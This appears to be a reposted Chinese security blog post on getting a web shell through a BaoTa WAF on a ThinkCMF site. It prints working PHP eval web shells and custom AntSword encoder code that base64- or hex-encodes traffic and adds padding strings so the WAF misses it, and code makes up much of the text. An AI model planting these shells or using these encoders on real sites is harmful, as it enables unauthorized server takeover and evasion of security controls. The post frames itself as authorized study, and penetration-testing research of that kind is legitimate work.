作者:AndyNoel 原文地址:https://www.freebuf.com/articles/web/291580.html
最近在学习了一波CMS漏洞,要了授权,看了几个站,有宝塔WAF。。。
向WHOAMI大佬取经回来后,绕过了一个WAF。觉得是时候要认真总结一下了:)
网站采用的是ThinkCMF这款CMS,ThinkCMF某些版本是存在缓存Getshell这样的一个漏洞,payload我就不放了,大家要遵守相应的法律法规哦!:)
按照payload,直接打的话,访问白屏还兴奋了一下,结果一执行shell就触发宝塔WAF...更别说蚁剑连接了...
WAF会对部分函数进行了过滤,所以直接打payload肯定是不行的,
因此我们需要对蚁剑的流量特征进行混淆加密
一个正常的shell如下:
<?php @eval($_POST['hack']);?>但是这样的shell特征太明显了,肯定会被拦截的,所以我们要学会骚一点
比如说<?php @eval(base_decode($_POST['test']));?>
让我们将phpinfo();base64加密后POST传参,就可以正常执行phpinfo了
但是....
但是蚁剑连接shell爆红了。。。
明明写进去了,也能phpinfo,但是蚁剑连接错误,为什么呢???
其实,我们可以先学一下蚁剑流量的相关知识
首先看看蚁剑的base64编码器结构:
'use strict';/*
@param {String} pwd 连接密码
@param {Array} data 编码器处理前的 payload 数组
@return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
解释一下:
pwd: 类型是String, 这个是 shell 的连接密码
data: 类型是 Array, 这个是要发送的 HTTP POST 数据包
Buffer.from(data['_']).toString('base64')将data['_']中的代码读取并进行base64编码,然后下面的 data[pwd] 以参数的形式传递到服务器,解码后shell代码便会执行。
虽然data['_']中的代码进行过base64编码,但是data[pwd] 是作为参数传递的,所以在流量中的 data[pwd] 仍是明文传输。
而且,蚁剑在对data进行编码时会增加一定长度的随机字符,但是cmd命令无论增加多长的字符Y21K这个特征字符也始终会被识别到
那该怎么办呢???
WAF拦了蚁剑发送的其它参数时怎么操作
(https://mp.weixin.qq.com/s/ai3dW8H_ZnlFMPo-pgoqZw)
从这篇大佬的文章好好学习了一下,其中一种方法大佬是通过遍历data的其他参数,并Hex编码了data的值。
解码器内容:
*/
'use strict';module.exports = (pwd, data) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = Buffer.from(data[_]).toString('hex');
}
ret[pwd] = Buffer.from(data['_']).toString('hex');
return ret;
}
因为蚁剑是默认会对data的值进行一次base64加密,所以我们可以再base64加密一次并增添点data的值:)
比如像这样:
let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}
同时,我们所写的shell也不能那么简单的啦,所以也得相应地稍微修改一下:
<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>
在第一次POST时进行抓包,去掉我们另外加入的data值,比如说上面的andynoel1234
然后对剩下的内容执行两次base64解码,再试一下蚁剑成功连接,就可以执行cmd命令了。
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.
侵权请私聊公众号删文
推荐阅读
学习更多技术,关注我:
觉得文章不错给点个‘再看’吧